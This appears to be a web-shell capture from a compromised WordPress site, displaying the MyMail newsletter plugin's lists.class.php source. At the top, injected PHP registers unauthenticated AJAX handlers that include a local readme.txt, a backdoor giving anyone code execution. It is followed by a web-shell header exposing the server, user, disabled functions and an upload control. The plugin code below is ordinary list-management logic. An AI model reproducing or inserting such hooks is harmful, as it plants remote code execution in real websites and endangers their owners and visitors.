if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/myMail/classes/lists.class.php
<?php
/**
 *
 *
 * @author Xaver Birsak (https://revaxarts.com)
 * @package
 */


class MyMailLists {

	/**
	 *
	 */
	public function __construct() {

		add_action( 'plugins_loaded', array( &$this, 'init' ) );

	}


	/**
	 *
	 */
	public function init() {

		add_action( 'admin_menu', array( &$this, 'admin_menu' ), 30 );

	}


	/**
	 *
	 */
	public function admin_menu() {

		$page = add_submenu_page( 'edit.php?post_type=newsletter', __( 'Lists', 'mymail' ), __( 'Lists', 'mymail' ), 'mymail_edit_lists', 'mymail_lists', array( &$this, 'view_lists' ) );

		if ( isset( $_GET['ID'] ) || isset( $_GET['new'] ) ):

			add_action( 'load-' . $page, array( &$this, 'edit_entry' ), 99 );

		else:

			add_action( 'load-' . $page, array( &$this, 'bulk_actions' ), 99 );
		add_filter( 'manage_' . $page . '_columns', array( &$this, 'get_columns' ) );

		endif;

	}


	/**
	 *
	 *
	 * @return unknown
	 */
	public function get_columns() {
		$columns = array(
			'cb' => '<input type="checkbox" />',
			'name' => __( 'Name', 'mymail' ),
			'description' => __( 'Description', 'mymail' ),
			'subscribers' => __( 'Subscribers', 'mymail' ),
			'updated' => __( 'Updated', 'mymail' ),
			'added' => __( 'Added', 'mymail' ),

		);
		return $columns;
	}


	/**
	 *
	 */
	public function view_lists() {

		$suffix = SCRIPT_DEBUG ? '' : '.min';

		if ( isset( $_GET['ID'] ) || isset( $_GET['new'] ) ):

			wp_enqueue_script( 'easy-pie-chart', MYMAIL_URI . 'assets/js/libs/easy-pie-chart' . $suffix . '.js', array( 'jquery' ), MYMAIL_VERSION );
		wp_enqueue_style( 'easy-pie-chart', MYMAIL_URI . 'assets/css/libs/easy-pie-chart' . $suffix . '.css', array(), MYMAIL_VERSION );

		wp_enqueue_script( 'mymail-list-detail', MYMAIL_URI . 'assets/js/list-script' . $suffix . '.js', array( 'jquery' ), MYMAIL_VERSION );
		wp_enqueue_style( 'mymail-list-detail', MYMAIL_URI . 'assets/css/list-style' . $suffix . '.css', array(), MYMAIL_VERSION );
		wp_localize_script( 'mymail-list-detail', 'mymailL10n', array(
				'next' => __( 'next', 'mymail' ),
				'prev' => __( 'prev', 'mymail' ),
			) );

		include MYMAIL_DIR . 'views/lists/detail.php';

		else:

			wp_enqueue_style( 'mymail-lists-table', MYMAIL_URI . 'assets/css/lists-table-style' . $suffix . '.css', array(), MYMAIL_VERSION );

		include MYMAIL_DIR . 'views/lists/overview.php';

		endif;
	}


	/**
	 *
	 */
	public function bulk_actions() {

		if ( empty( $_POST ) ) {
			return;
		}

		if ( empty( $_POST['lists'] ) ) {
			return;
		}

		if ( isset( $_POST['action'] ) && -1 != $_POST['action'] ) {
			$action = $_POST['action'];
		}

		if ( isset( $_POST['action2'] ) && -1 != $_POST['action2'] ) {
			$action = $_POST['action2'];
		}

		$redirect = add_query_arg( $_GET );

		switch ( $action ) {

		case 'delete':
			if ( current_user_can( 'mymail_delete_lists' ) ) {

				if ( $this->remove( $_POST['lists'] ) ) {
					mymail_notice( sprintf( __( '%d Lists have been removed', 'mymail' ), count( $_POST['lists'] ) ), 'error', true );
				}

				wp_redirect( $redirect );
				exit;

			}
			break;
		case 'delete_subscribers':
			if ( current_user_can( 'mymail_delete_lists' ) && current_user_can( 'mymail_delete_subscribers' ) ) {

				if ( $this->remove( $_POST['lists'], true ) ) {
					mymail_notice( sprintf( __( '%d Lists with subscribers have been removed', 'mymail' ), count( $_POST['lists'] ) ), 'error', true );
				}

				wp_redirect( $redirect );
				exit;

			}
			break;
		case 'subscribe':
			if ( $count = $this->change_status( $_POST['lists'], 1 ) ) {

				mymail_notice( __( 'Subscribers have been subscribed', 'mymail' ), 'error', true );

				wp_redirect( $redirect );
				exit;
			}
			break;
		case 'unsubscribe':
			if ( $this->unsubscribe( $_POST['lists'] ) ) {

				mymail_notice( __( 'Subscribers have been unsubscribed', 'mymail' ), 'error', true );

				wp_redirect( $redirect );
				exit;
			}
			break;
		case 'merge':

			if ( count( $_POST['lists'] ) == 1 ) {

				mymail_notice( __( 'Please selected at least two lists!', 'mymail' ), 'error', true );

				wp_redirect( $redirect );
				exit;

			} elseif ( $this->merge( $_POST['lists'] ) ) {

				mymail_notice( sprintf( __( 'Lists have been merged. Please update your %s if necessary!', 'mymail' ), '<a href="edit.php?post_type=newsletter">' . __( 'campaigns', 'mymail' ) . '</a>' ), 'updated', true );

				wp_redirect( $redirect );
				exit;
			}
			break;
		case 'send_campaign':

			$link = 'post-new.php?post_type=newsletter';
			$link = add_query_arg( array( 'lists' => $_POST['lists'] ), $link );

			wp_redirect( $link );
			exit;
			break;

		}

	}


	/**
	 *
	 */
	public function edit_entry() {

		if ( isset( $_POST['mymail_data'] ) ) {

			if ( isset( $_POST['save'] ) ):

				parse_str( $_POST['_wp_http_referer'], $urlparams );

			$empty = $this->get_empty();

			//sanitize input;
			$entry = (object) ( array_intersect_key( $_POST['mymail_data'], (array) $empty ) );
			$list_id = isset( $urlparams['new'] ) ? $this->add( $entry ) : $this->update( $entry );

			if ( is_wp_error( $list_id ) ) {

				switch ( $list_id->get_error_code() ) {
				case 'email_exists':
					$subscriber = $this->get_by_mail( $entry->email );

					$msg = sprintf( __( '%1$s already exists. %2$s', 'mymail' ), '<strong>&quot;' . $subscriber->email . '&quot;</strong>', '<a href="edit.php?post_type=newsletter&page=mymail_subscribers&ID=' . $subscriber->ID . '">' . __( 'Edit this user', 'mymail' ) . '</a>' );
					break;
				default:
					$msg = $list_id->get_error_message();
				}

				mymail_notice( $msg, 'error', true );

			} else {

				$list = $this->get( $list_id );

				mymail_notice( isset( $urlparams['new'] ) ? __( 'List added', 'mymail' ) : __( 'List saved', 'mymail' ), 'updated', true );
				do_action( 'mymail_list_save', $list_id );
				wp_redirect( 'edit.php?post_type=newsletter&page=mymail_lists&ID=' . $list->ID );
				exit;
			} elseif ( $_POST['delete'] || $_POST['delete_subscribers'] ):

				if ( $list = $this->get( intval( $_POST['mymail_data']['ID'] ), false ) ) {

					$delete_subscribers = isset( $_POST['delete_subscribers'] );

					if ( $this->remove( $list->ID, $delete_subscribers ) ) {
						mymail_notice( sprintf( __( 'List %s has been removed', 'mymail' ), '<strong>&quot;' . $list->name . '&quot;</strong>' ), 'error', true );
						do_action( 'mymail_list_delete', $list->ID );
						wp_redirect( 'edit.php?post_type=newsletter&page=mymail_lists' );
						exit;
					}
				}

			endif;

		}
	}


	/**
	 *
	 *
	 * @return unknown
	 */
	public function get_empty() {
		return (object) array(
			'ID' => 0,
			'parent_id' => 0,
			'name' => '',
			'slug' => '',
			'description' => '',
			'added' => 0,
			'updated' => 0,
			'subscribers' => 0,
		);
	}


	/**
	 *
	 *
	 * @param unknown $entry          (optional)
	 * @param unknown $overwrite      (optional)
	 * @param unknown $subscriber_ids (optional)
	 * @return unknown
	 */
	public function add_segment( $entry = array(), $overwrite = false, $subscriber_ids = null ) {

		$id = get_option( 'mymail_list_segment_id', 1 );

		$segment = $this->get( $segment_id = get_option( 'mymail_list_segment_parent_id' ) );
		if ( !$segment ) {
			$segment_id = $this->add( array(
					'name' => __( 'Segments', 'mymail' ),
					'description' => __( 'contains all segments', 'mymail' ),
				), true );
			update_option( 'mymail_list_segment_parent_id', $segment_id );
		}

		$name = isset( $entry['name'] ) && !empty( $entry['name'] ) ? $entry['name'] : sprintf( __( 'Segment #%d', 'mymail' ), $id++ );

		$current_user = wp_get_current_user();

		$list_id = $this->add( wp_parse_args( $entry, array(
					'name' => $name,
					'parent_id' => $segment_id,
					'slug' => sanitize_title( $name ) . '-' . time(),
					'description' => sprintf( __( 'Segment created by %s', 'mymail' ), $current_user->display_name ),
				) ), $overwrite, $subscriber_ids );

		if ( !is_wp_error( $list_id ) ) {
			update_option( 'mymail_list_segment_id', $id );
			return $list_id;
		}

		return false;

	}


	/**
	 *
	 *
	 * @param unknown $entry
	 * @param unknown $overwrite      (optional)
	 * @param unknown $subscriber_ids (optional)
	 * @return unknown
	 */
	public function update( $entry, $overwrite = true, $subscriber_ids = null ) {

		global $wpdb;

		$entry = (array) $entry;

		$field_names = array( 'ID' => '%d', 'parent_id' => '%d', 'name' => '%s', 'slug' => '%s', 'description' => '%d', 'added' => '%d', 'updated' => '%d' );

		$now = time();

		$data = array();

		$entry = apply_filters( 'mymail_verify_listxw', $entry );
		if ( is_wp_error( $entry ) ) {
			return $entry;
		} else if ( $entry === false ) {
				return new WP_Error( 'not_verified', __( 'List failed verification', 'mymail' ) );
			}

		foreach ( $entry as $key => $value ) {
			if ( isset( $field_names[$key] ) ) {
				$data[$key] = $value;
			}

		}

		if ( isset( $data['name'] ) && empty( $data['name'] ) ) {
			$data['name'] = __( 'undefined', 'mymail' );
		}

		$sql = "INSERT INTO {$wpdb->prefix}mymail_lists (" . implode( ', ', array_keys( $data ) ) . ")";

		$sql .= " VALUES ('" . implode( "', '", array_map( 'esc_sql', array_values( $data ) ) ) . "')";

		if ( $overwrite ) {
			$sql .= " ON DUPLICATE KEY UPDATE updated = $now";
			foreach ( $data as $field => $value ) {
				$sql .= ", $field = values($field)";
			}

		}

		$wpdb->suppress_errors();

		if ( false !== $wpdb->query( $sql ) ) {

			$list_id = !empty( $wpdb->insert_id ) ? $wpdb->insert_id : intval( $data['ID'] );

			if ( !empty ( $subscriber_ids ) ) {
				$this->assign_subscribers( $list_id, $subscriber_ids );
			}

			do_action( 'mymail_update_list', $list_id );

			return $list_id;

		} else {

			return new WP_Error( 'list_exists', $wpdb->last_error );
		}

	}


	/**
	 *
	 *
	 * @param unknown $entry
	 * @param unknown $overwrite      (optional)
	 * @param unknown $subscriber_ids (optional)
	 * @return unknown
	 */
	public function add( $entry, $overwrite = false, $subscriber_ids = null ) {

		$now = time();

		$entry = is_string( $entry ) ? (object) array( 'name' => $entry ) : (object) $entry;

		$entry = (array) $entry;

		$entry = wp_parse_args( $entry, array(
				//'ID' => NULL,
				'parent_id' => 0,
				'slug' => sanitize_title( $entry['name'] ),
				'description' => '',
				'added' => $now,
				'updated' => $now,
			) );

		add_action( 'mymail_update_list', array( &$this, 'update_forms' ) );

		return $this->update( $entry, $overwrite, $subscriber_ids );

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 */
	public function update_forms( $list_id ) {

		$forms = mymail( 'forms' )->get_all();

		if ( empty( $forms ) ) return;

		foreach ( $forms as $form ) {
			if ( !$form->addlists ) {
				continue;
			}

			mymail( 'forms' )->assign_lists( $form->ID, $list_id );
		}

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 */
	public function remove_from_forms( $list_id ) {

		$forms = mymail( 'forms' )->get_all();

		if ( empty( $forms ) ) return;

		foreach ( $forms as $form ) {
			mymail( 'forms' )->unassign_lists( $form->ID, $list_id );
		}

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @param unknown $subscriber_ids
	 * @return unknown
	 */
	public function assign_subscribers( $ids, $subscriber_ids ) {

		global $wpdb;

		if ( !is_array( $ids ) ) {
			$ids = array( (int) $ids );
		}

		if ( !is_array( $subscriber_ids ) ) {
			$subscriber_ids = array( (int) $subscriber_ids );
		}

		$now = time();

		$inserts = array();
		foreach ( $ids as $list_id ) {
			foreach ( $subscriber_ids as $subscriber_id ) {
				$inserts[] = $wpdb->prepare( "(%d, %d, %d)", $list_id, $subscriber_id, $now );
			}
		}

		if ( empty( $inserts ) ) {
			return true;
		}

		$chunks = array_chunk( $inserts, 200 );

		$success = true;

		foreach ( $chunks as $insert ) {
			$sql = "INSERT INTO {$wpdb->prefix}mymail_lists_subscribers (list_id, subscriber_id, added) VALUES ";

			$sql .= " " . implode( ',', $insert );

			$sql .= " ON DUPLICATE KEY UPDATE list_id = values(list_id), subscriber_id = values(subscriber_id)";

			$success = $success && ( false !== $wpdb->query( $sql ) );

		}

		return $success;

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @param unknown $subscribers (optional)
	 * @return unknown
	 */
	public function remove( $ids, $subscribers = false ) {

		global $wpdb;

		$ids = is_numeric( $ids ) ? array( $ids ) : $ids;

		if ( $subscribers ) {
			$sql = "DELETE a,b,c,d,e,f FROM {$wpdb->prefix}mymail_subscribers AS a LEFT JOIN {$wpdb->prefix}mymail_lists_subscribers b ON a.ID = b.subscriber_id LEFT JOIN {$wpdb->prefix}mymail_subscriber_fields c ON a.ID = c.subscriber_id LEFT JOIN {$wpdb->prefix}mymail_subscriber_meta AS d ON a.ID = d.subscriber_id LEFT JOIN {$wpdb->prefix}mymail_actions AS e ON a.ID = e.subscriber_id LEFT JOIN {$wpdb->prefix}mymail_queue AS f ON a.ID = f.subscriber_id WHERE b.list_id IN (" . implode( ', ', array_filter( $ids, 'is_numeric' ) ) . ")";

			$wpdb->query( $sql );
		}

		$sql = "DELETE a,b FROM {$wpdb->prefix}mymail_lists AS a LEFT JOIN {$wpdb->prefix}mymail_lists_subscribers b ON a.ID = b.list_id WHERE a.ID IN (" . implode( ', ', array_filter( $ids, 'is_numeric' ) ) . ")";

		if ( false !== $wpdb->query( $sql ) ) {

			foreach ( $ids as $list_id ) {
				$this->remove_from_forms( $list_id );
			}

			return true;
		}

		return false;

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @return unknown
	 */
	public function subscribe( $ids ) {

		return $this->change_status( $ids, 1 );

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @return unknown
	 */
	public function unsubscribe( $ids ) {

		return $this->change_status( $ids, 2 );

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @param unknown $newname (optional)
	 * @return unknown
	 */
	public function merge( $ids, $newname = null ) {

		global $wpdb;

		//need at least 2 lists
		if ( !is_array( $ids ) || count( $ids ) < 2 ) {
			return false;
		}

		$now = time();
		$ids = is_numeric( $ids ) ? array( $ids ) : $ids;
		$lists = $this->get( $ids );

		if ( empty( $lists ) ) {
			return false;
		}

		$list_names = wp_list_pluck( $lists, 'name' );
		$segment_id = get_option( 'mymail_list_segment_id', 1 );
		$merge_list_id = get_option( 'mymail_merged_list_id', 1 );

		$name = sprintf( __( 'Merged List #%d', 'mymail' ), $merge_list_id );

		$new_id = $this->add( array(
				'name' => $name,
				'slug' => sanitize_title( $name ) . '-' . $now,
				'description' => __( 'A merged list of', 'mymail' ) . ":\n" . implode( ', ', $list_names ),
			) );

		if ( !is_wp_error( $new_id ) ) {

			//move connections
			$sql = "UPDATE IGNORE {$wpdb->prefix}mymail_lists_subscribers SET list_id = %d, added = %d WHERE list_id IN (" . implode( ', ', array_filter( $ids, 'is_numeric' ) ) . ")";
			$wpdb->query( $wpdb->prepare( $sql, $new_id, $now ) );

			$this->remove( $ids, false );

			update_option( 'mymail_merged_list_id', ++$merge_list_id );

			return true;

		}

		return false;

	}


	/**
	 *
	 *
	 * @param unknown $ids
	 * @param unknown $new_status
	 * @return unknown
	 */
	public function change_status( $ids, $new_status ) {

		global $wpdb;

		$ids = is_numeric( $ids ) ? array( $ids ) : $ids;

		$sql = "UPDATE {$wpdb->prefix}mymail_subscribers AS a LEFT JOIN {$wpdb->prefix}mymail_lists_subscribers AS b ON a.ID = b.subscriber_id  SET status = %d, updated = %d WHERE b.list_id IN (" . implode( ', ', array_filter( $ids, 'is_numeric' ) ) . ")";

		return false !== $wpdb->query( $wpdb->prepare( $sql, $new_status, time() ) );

	}


	/**
	 *
	 *
	 * @param unknown $from
	 * @param unknown $to
	 * @param unknown $added (optional)
	 * @return unknown
	 */
	public function move_subscribers( $from, $to, $added = false ) {

		global $wpdb;

		$from = is_numeric( $from ) ? array( $from ) : $from;

		$sql = "UPDATE {$wpdb->prefix}mymail_lists_subscribers SET list_id = %d" . ( $added ? ', added = ' . time() : '' ) . " WHERE {$wpdb->prefix}mymail_lists_subscribers.list_id IN (" . implode( ', ', array_filter( $from, 'is_numeric' ) ) . ");";

		return false !== $wpdb->query( $wpdb->prepare( $sql, $to ) );

	}


	/**
	 *
	 *
	 * @param unknown $id     (optional)
	 * @param unknown $status (optional)
	 * @param unknown $counts (optional)
	 * @return unknown
	 */
	public function get( $id = null, $status = null, $counts = false ) {

		global $wpdb;

		$key = 'lists_'.md5( serialize( $id ).serialize( $status ).serialize( $counts ) );

		if ( false === ( $lists = mymail_cache_get( $key ) ) ) {

			if ( is_null( $status ) ) {
				$status = array( 1 );
			} elseif ( $status === false ) {
				$status = array( 0, 1, 2, 3, 4, 5, 6 );
			}
			$statuses = !is_array( $status ) ? array( $status ) : $status;
			$statuses = array_filter( $statuses, 'is_numeric' );


			$lists = array();

			if ( is_null( $id ) ) {

				if ( $counts ) {
					$sql = "SELECT a.*, COUNT(DISTINCT b.ID) AS subscribers, CASE WHEN a.parent_id = 0 THEN a.ID*10 ELSE a.parent_id*10+1 END AS _sort FROM {$wpdb->prefix}mymail_lists AS a LEFT JOIN ( {$wpdb->prefix}mymail_subscribers AS b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.subscriber_id AND b.status IN(" . implode( ', ', $statuses ) . ")) ON a.ID = ab.list_id GROUP BY a.ID ORDER BY _sort ASC";
				} else {
					$sql = "SELECT a.*, CASE WHEN a.parent_id = 0 THEN a.ID*10 ELSE a.parent_id*10+1 END AS _sort FROM {$wpdb->prefix}mymail_lists AS a ORDER BY _sort ASC";

				}

				$lists = $wpdb->get_results( $sql );

			} else if ( is_numeric( $id ) ) {

					$sql = ( $counts )
						? "SELECT a.*, COUNT(DISTINCT b.ID) AS subscribers FROM {$wpdb->prefix}mymail_lists AS a LEFT JOIN ( {$wpdb->prefix}mymail_subscribers AS b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.subscriber_id AND b.status IN(" . implode( ', ', $statuses ) . ")) ON a.ID = ab.list_id WHERE a.ID = %d GROUP BY a.ID"
						: "SELECT a.* FROM {$wpdb->prefix}mymail_lists AS a WHERE a.ID = %d GROUP BY a.ID";

					$lists = $wpdb->get_row( $wpdb->prepare( $sql, $id ) );

				}else {

				$ids = !is_array( $id ) ? array( $id ) : $id;
				$ids = array_filter( $ids, 'is_numeric' );

				if ( !empty( $ids ) ) {
					$lists = $wpdb->get_results( "SELECT a.*, COUNT(DISTINCT b.ID) AS subscribers FROM {$wpdb->prefix}mymail_lists AS a LEFT JOIN ( {$wpdb->prefix}mymail_subscribers AS b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.subscriber_id AND b.status IN(" . implode( ', ', $ids ) . ")) ON a.ID = ab.list_id WHERE a.ID IN(" . implode( ', ', $ids ) . ") GROUP BY a.ID" );
				}

			}

			mymail_cache_add( $key, $lists );

		}

		return $lists;

	}


	/**
	 *
	 *
	 * @param unknown $name
	 * @param unknown $field  (optional)
	 * @param unknown $status (optional)
	 * @return unknown
	 */
	public function get_by_name( $name, $field = null, $status = 1 ) {

		global $wpdb;

		$key = 'lists_n_'.md5( serialize( $name ).serialize( $field ).serialize( $status ) );

		if ( false === ( $result = mymail_cache_get( $key ) ) ) {

			if ( !is_null( $field ) && $field != 'subscribers' ) {

				$result = $wpdb->get_var( $wpdb->prepare( "SELECT " . esc_sql( $field ) . " FROM {$wpdb->prefix}mymail_lists WHERE (name = %s OR slug = %s) LIMIT 1", $name, $name ) );

			} else {

				$stati = !is_array( $status ) ? array( $status ) : $status;

				$stati = array_filter( $stati, 'is_numeric' );

				$result = $wpdb->get_row( $wpdb->prepare( "SELECT a.*, COUNT(DISTINCT ab.subscriber_id) as subscribers FROM {$wpdb->prefix}mymail_lists as a LEFT JOIN ({$wpdb->prefix}mymail_subscribers as b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.subscriber_id) ON a.ID = ab.list_id WHERE b.status IN(" . implode( ', ', $stati ) . ") AND (a.name = %s OR a.slug = %s) GROUP BY a.ID", $name, $name ) );

				if ( is_null( $field ) ) {
					$result = $result;
				} else if ( isset( $result->{$field} ) ) {
					$result = $result->{$field};
				} else {
					$result = false;
				}

			}

			mymail_cache_add( $key, $result );

		}

		return $result;

	}


	/**
	 *
	 *
	 * @param unknown $lists    (optional)
	 * @param unknown $statuses (optional)
	 * @return unknown
	 */
	public function count( $lists = null, $statuses = null ) {

		global $wpdb;

		if ( $lists && !is_array( $lists ) ) {
			$lists = array( $lists );
		}

		if ( !is_null( $statuses ) && !is_array( $statuses ) ) {
			$statuses = array( $statuses );
		}

		if ( is_array( $lists ) ) {
			$lists = array_filter( $lists, 'is_numeric' );
		}

		if ( is_array( $statuses ) ) {
			$statuses = array_filter( $statuses, 'is_numeric' );
		}

		$sql = "SELECT COUNT(DISTINCT a.ID) FROM {$wpdb->prefix}mymail_subscribers AS a LEFT JOIN ({$wpdb->prefix}mymail_lists AS b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.list_id) ON a.ID = ab.subscriber_id WHERE 1=1";

		$sql .= ( is_array( $lists ) )
			? " AND b.ID IN (" . implode( ',', $lists ) . ")"
			: ( $lists === false ? " AND b.ID IS NULL" : '' );

		if ( is_array( $statuses ) ) {
			$sql .= " AND a.status IN (" . implode( ',', $statuses ) . ")";
		}

		$result = $wpdb->get_var( $sql );

		return $result ? intval( $result ) : 0;

	}


	/**
	 *
	 *
	 * @return unknown
	 */
	public function get_list_count() {

		global $wpdb;

		$sql = "SELECT COUNT( * ) AS count FROM {$wpdb->prefix}mymail_lists";

		return $wpdb->get_var( $sql );
	}


	/**
	 *
	 *
	 * @param unknown $campaign_id
	 * @return unknown
	 */
	public function get_total( $campaign_id ) {

		return 123;

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 * @param unknown $total   (optional)
	 * @return unknown
	 */
	public function get_sent( $list_id, $total = false ) {

		return mymail( 'actions' )->get_by_list( $list_id, 'sent' . ( $total ? '_total' : '' ), true );

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 * @param unknown $total   (optional)
	 * @return unknown
	 */
	public function get_opens( $list_id, $total = false ) {

		return mymail( 'actions' )->get_by_list( $list_id, 'opens' . ( $total ? '_total' : '' ), true );

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 * @param unknown $total   (optional)
	 * @return unknown
	 */
	public function get_clicks( $list_id, $total = false ) {

		return mymail( 'actions' )->get_by_list( $list_id, 'clicks' . ( $total ? '_total' : '' ), true );

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 * @param unknown $total   (optional)
	 * @return unknown
	 */
	public function get_unsubscribes( $list_id, $total = false ) {

		return mymail( 'actions' )->get_by_list( $list_id, 'unsubscribes' . ( $total ? '_total' : '' ), true );

	}


	/**
	 *
	 *
	 * @param unknown $list_id
	 * @param unknown $total   (optional)
	 * @return unknown
	 */
	public function get_bounces( $list_id, $total = false ) {

		return mymail( 'actions' )->get_by_list( $list_id, 'bounces' . ( $total ? '_total' : '' ), true );

	}


	/**
	 *
	 *
	 * @param unknown $id
	 * @param unknown $limit   (optional)
	 * @param unknown $exclude (optional)
	 * @return unknown
	 */
	public function get_activity( $id, $limit = null, $exclude = null ) {

		return mymail( 'actions' )->get_list_activity( $id, $limit, $exclude );

	}


	/**
	 *
	 *
	 * @param unknown $list_id  (optional)
	 * @param unknown $statuses (optional)
	 * @return unknown
	 */
	public function get_member_count( $list_id = null, $statuses = null ) {

		global $wpdb;

		$statuses = !is_null( $statuses ) && !is_array( $statuses ) ? array( $statuses ) : $statuses;
		$key = is_array( $statuses ) ? 'list_counts_' . implode( '|', $statuses ) : 'list_counts';

		if ( false === ( $list_counts = mymail_cache_get( $key ) ) ) {

			$sql = "SELECT a.ID, a.parent_id, COUNT(DISTINCT ab.subscriber_id) AS count FROM {$wpdb->prefix}mymail_lists AS a LEFT JOIN ({$wpdb->prefix}mymail_subscribers AS b INNER JOIN {$wpdb->prefix}mymail_lists_subscribers AS ab ON b.ID = ab.subscriber_id) ON a.ID = ab.list_id";

			if ( is_array( $statuses ) ) {
				$sql .= " AND b.status IN (" . implode( ',', array_filter( $statuses, 'is_numeric' ) ) . ")";
			}

			$sql .= " GROUP BY a.ID";

			$result = $wpdb->get_results( $sql );

			$list_counts = array();

			foreach ( $result as $list ) {
				if ( !isset( $list_counts[$list->ID] ) ) {
					$list_counts[$list->ID] = 0;
				}

				$list_counts[$list->ID] += intval( $list->count );
				if ( $list->parent_id ) {
					$list_counts[$list->parent_id] += intval( $list->count );
				}

			}

			mymail_cache_add( $key, $list_counts );

		}

		if ( is_null( $list_id ) ) {
			return $list_counts;
		}

		return isset( $list_counts[$list_id] ) && isset( $list_counts[$list_id] ) ? intval( $list_counts[$list_id] ) : 0;

	}


	/**
	 *
	 *
	 * @param unknown $id         (optional)
	 * @param unknown $status     (optional)
	 * @param unknown $name       (optional)
	 * @param unknown $show_count (optional)
	 * @param unknown $checked    (optional)
	 */
	public function print_it( $id = null, $status = null, $name = 'mymail_lists', $show_count = true, $checked = array() ) {

		if ( $lists = $this->get( $id, $status, !!$show_count ) ) {

			if ( !is_array( $checked ) ) {
				$checked = array( $checked );
			}

			echo '<ul>';
			foreach ( $lists as $list ) {
				echo '<li><label title="' . ( $list->description ? $list->description : $list->name ) . '">' . ( $list->parent_id ? '&nbsp;&#x2517;&nbsp;' : '' ) . '<input type="checkbox" value="' . $list->ID . '" name="' . $name . '[]" ' . checked( in_array( $list->ID, $checked ), true, false ) . ' class="list' . ( $list->parent_id ? ' list-parent-' . $list->parent_id : '' ) . '"> ' . $list->name . '' . ( $show_count ? ' <span class="count">(' . number_format_i18n( $list->subscribers ) . ( is_string( $show_count ) ? ' ' . $show_count : '' ) . ')</span>' : '' ) . '</label></li>';
			}
			echo '</ul>';

		} else {
			echo '<ul><li>' . __( 'No Lists found!', 'mymail' ) . '</li><li><a href="edit.php?post_type=newsletter&page=mymail_lists&new">' . __( 'Create a List now', 'mymail' ) . '</a></li></ul>';
		}

	}


	/**
	 *
	 *
	 * @param unknown $new
	 */
	public function on_activate( $new ) {

	}


}